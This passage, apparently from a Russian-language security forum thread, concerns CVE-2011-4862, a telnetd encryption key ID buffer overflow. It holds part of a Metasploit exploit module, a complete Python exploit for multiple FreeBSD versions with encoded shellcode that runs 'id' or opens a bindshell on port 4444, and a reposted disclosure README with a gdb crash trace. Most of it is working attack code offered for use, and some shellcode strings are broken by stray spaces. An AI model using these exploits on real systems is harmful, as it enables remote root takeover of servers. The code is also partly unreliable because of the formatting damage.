'Name' => 'Linux BSD-derived Telnet Service Encryption Key ID Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the encryption option handler of the
Linux BSD-derived telnet service (inetutils or krb5-telnet). Most Linux distributions
use NetKit-derived telnet daemons, so this flaw only applies to a small subset of
Linux systems running telnetd.
},
'Author' => [ 'Jaime Penalba Estebanez <jpenalbae[at]gmail.com>', 'Brandon Perry <bperry.volatile[at]gmail.com>', 'Dan Rosenberg', 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2011-4862'],
['OSVDB', '78020'],
['BID', '51182'],
['URL', 'http://www.exploit-db.com/exploits/18280/']
],
'Privileged' => true,
'Platform' => 'linux',
'Payload' =>
{
'Space' => 200,
'BadChars' => "\x00",
'DisableNops' => true,
},

'Targets' =>
[
[ 'Automatic', { } ],
[ 'Red Hat Enterprise Linux 3 (krb5-telnet)', { 'Ret' => 0x0804b43c } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 23 2011'))
end

def exploit_target(t)

connect
banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
print_status(banner_sanitized) if datastore['VERBOSE']

enc_init = "\xff\xfa\x26\x00\x01\x01\x12\x13\x14\x15\x16\x17\ x18\x19\xff\xf0"
enc_keyid = "\xff\xfa\x26\x07"
end_suboption = "\xff\xf0"

penc = payload.encoded.gsub("\xff", "\xff\xff")

key_id = Rex::Text.rand_text_alphanumeric(400)

key_id[ 0, 2] = "\xeb\x76"
key_id[72, 4] = [ t['Ret'] - 20 ].pack("V")
key_id[76, 4] = [ t['Ret'] ].pack("V")

# Some of these bytes can get mangled, jump over them
key_id[80,40] = "\x41" * 40

# Insert the real payload
key_id[120, penc.length] = penc

# Create the Key ID command
sploit = enc_keyid + key_id + end_suboption

# Initiate encryption
sock.put(enc_init)

# Wait for a successful response
loop do
data = sock.get_once(-1, 5) rescue nil
if not data
raise RuntimeError, "This system does not support encryption"
end
break if data.index("\xff\xfa\x26\x02\x01")
end

# The first request smashes the pointer
print_status("Sending first payload")
sock.put(sploit)

# Make sure the server replied to the first request
data = sock.get_once(-1, 5)
unless data
print_status("Server did not respond to first payload")
return
end

# Some delay between each request seems necessary in some cases
::IO.select(nil, nil, nil, 0.5)

# The second request results in the pointer being called
print_status("Sending second payload...")
sock.put(sploit)
handler

::IO.select(nil, nil, nil, 0.5)
disconnect
end

end

4------------------------------------------------------------------------------------------------------------------


Цитата:
#!/usr/bin/env python
# Checks/exploits CVE-2011-4862 (remote root in encryption supporting telnetd) in multiple FreeBSD versions.
# Author: Knull of http://leethack.info
# References:
# Metasploit module, http://www.metasploit.com/modules/exploit/freebsd/telnet/telnet_encrypt_keyid
# FreeBSD advisory, http://lists.freebsd.org/pipermail/freebsd-announce/2011-December/001398.html

import random, string, struct, socket, time, sys

def usage():

print "Usage: " + sys.argv[0] + " [Option] host\n\nOptions: \n -c\tcheck if telnetd is vulnerable and running as root (runs command `id` on host)\n -e\texploit host (opens a bindshell on port 4444)\n"

if len(sys.argv) == 3:
host = sys.argv[2].rstrip()
port = 23
if sys.argv[1] == '-c':
# slightly modified version of metasploits bsd/x86/exec:
#
# bsd/x86/exec - 71 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# AppendExit=false, CMD=id, PrependSetresuid=false,
# PrependSetuid=false, VERBOSE=false, PrependSetreuid=false
buf = "\xda\xd0\xb8\x7b\x91\x45\xc5\xd9\x74\x24\xf4\x5d\ x2b\xc9\xb1\x0c\x31\x45\x17\x03\x45\x17\x83\x96\x6 d\xa7\x30\x02\xb5\x70\x22\x80\xa1\xad\x37\x24\x32\ x27\x50\x76\x5a\x59\xb0\x05\xf2\xcd\xe1\xc6\x60\x6 7\x77\xfb\x37\x9f\x84\xfb\xb7\x5f\xe2\x9f\xb7\x08\ xa7\xd6\x59\xe4\x16\xbb\xc9\xc4\x19"
elif sys.argv[1] == '-e':
# slightly modified version of metasploits bsd/x86/shell_bind_tcp:
#
# bsd/x86/shell_bind_tcp - 100 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# AutoRunScript=, AppendExit=false, PrependSetresuid=false,
# InitialAutoRunScript=, PrependSetuid=false, LPORT=4444,
# VERBOSE=false, RHOST=, PrependSetreuid=false
buf = "\xda\xc8\xbe\x7b\xd4\xea\x14\xd9\x74\x24\xf4\x58\ x2b\xc9\xb1\x13\x31\x70\x18\x83\xc0\x04\x03\x70\x6 f\x36\x1f\x25\x4f\xe6\x88\xb9\x4d\x16\x15\xcf\xb6\ x48\xcf\xce\x52\x6b\x65\xc1\x12\x0a\xb4\x61\x05\x9 d\x16\x08\xc1\x45\x5a\x4c\x98\x31\x88\xfd\xf0\x70\ xd0\x4e\x1a\x46\x51\xfe\x72\x32\x08\xa7\xbf\x42\x5 3\x18\xdb\x3a\x5a\xf7\x4b\x92\x8d\x8b\xe3\x84\xfe\ x09\x9a\x3a\x88\x2d\x0c\x97\xd9\xe1\x1c\x2c\x13\x8 1"
else:
usage()
exit()
else:
usage()
exit()


socket.setdefaulttimeout(10)
rg = random.SystemRandom()
alnum = string.letters[0:52] + string.digits

def rand_alnumlst(length):
return list(''.join(rg.choice(alnum) for _ in range(length)))

enc_init = "\xff\xfa\x26\x00\x01\x01\x12\x13\x14\x15\x16\x17\ x18\x19\xff\xf0"
enc_keyid = "\xff\xfa\x26\x07"
end_suboption = "\xff\xf0"

# ret values for multiple FreeBSD versions
rets = 0x0804a8a9, 0x0804a889, 0x0804a869, 0x08057bd0, 0x0804c4e0, 0x0804a5b4, 0x08052925, 0x0804cf31, 0x8059730
version = '8.2', '8.1', '8.0', '7.3/7.4', '7.0/7.1/7.2', '6.3/6.4', '6.0/6.1/6.2', '5.5', '5.3'

# display banner
print "Vulnerability checker/exploit for CVE-2011-4862 (FreeBSD telnetd encryption)"
print "by Knull, http://leethack.info\n"

count = 0
tried = 0

# loop through the ret's until one works
for ret in rets:

key_id = rand_alnumlst(400)
key_id[0:1] = "\xeb\x76"
key_id[72:75] = struct.pack('<I', ret - 20)
key_id[76:79] = struct.pack('<I', ret)
key_id[80:191] = rand_alnumlst(112)
key_id[120:121] = "\xeb\x46"
key_id[192:191+len(buf)] = buf

s = ''
for i in key_id:
s += ''.join(i)

sploit = enc_keyid + s + end_suboption

print "Trying FreeBSD " + version[count] + "...\n"

try:

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
sock.send(enc_init)
data = sock.recv(32)

sock.send(sploit)
data = sock.recv(32)
time.sleep(0.5)

if data:

sock.send(sploit)
time.sleep(0.5)

if sys.argv[1] == '-e':
tried = 1
sock.close()

elif sys.argv[1] == '-c':
result = sock.recv(128)
sock.close()

if result.find("root") != -1:
print host + " is vulnerable, result of command: id\n" + result
exit()

sock.close()

except socket.error:
pass

count+=1

if tried:
print "Sent payloads, check bindshell on " + host + ", port 4444\n"
В который раз убеждаюсь, что securityfocus надо смотреть постоянно, даже если название уязвимости кажется знакомым до боли, т.к. иногда таки проскакивает update

Последний раз редактировалось Pashkela; 31.03.2012 в 04:03..
Pashkela вне форума   Ответить с цитированием
Старый 02.07.2012, 07:49   #10
nobody
 
Аватар для nobody
 
Регистрация: 05.07.2010
Сообщений: 176
Репутация: 130
По умолчанию

Оригинал: http://seclists.org/fulldisclosure/2012/Jun/404 (Зеркало архива)

Код:
$ cat README.txt 
ancient bsd remote root zeroday (encryption keyid overflow)
Discovered & Exploited by Kingcope
Year 2011
--

We overwrite function pointer.

encrypt.c last commit (freebsd):
Wed Jun 26 17:06:14 2002 UTC (8 years, 9 months ago) by markm
and even older bug :>

attached telnetd:
Program received signal SIGSEGV, Segmentation fault.
0x08055b22 in encrypt_keyid (kp=0x805e6a0, keyid=0x8061f02 'A' <repeats 100 times>, "���", len=100) at 
/usr/src/lib/libtelnet/../../contrib/telnet/libtelnet/encrypt.c:724
warning: Source file is more recent than executable.

724             if (!(ep = (*kp->getcrypt)(*kp->modep))) {
(gdb) i r
eax            0x41414141       1094795585
ecx            0x64     100
edx            0x41414141       1094795585
ebx            0xbfbfec78       -1077941128
esp            0xbfbfe770       0xbfbfe770
ebp            0xbfbfe798       0xbfbfe798
esi            0x1      1
edi            0xbfbfec80       -1077941120
eip            0x8055b22        0x8055b22
eflags         0x10282  66178
cs             0x33     51
ss             0x3b     59
ds             0x3b     59
es             0x3b     59
fs             0x3b     59
gs             0x1b     27
(gdb) x/10i $eip
0x8055b22 <encrypt_keyid+34>:   mov    (%eax),%eax
0x8055b24 <encrypt_keyid+36>:   mov    %eax,(%esp)
0x8055b27 <encrypt_keyid+39>:   call   *%edx                <---- HAHA
__________________
Sad panda
nobody вне форума   Ответить с цитированием
Ответ

Метки
exploit, freebsd, telnet

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot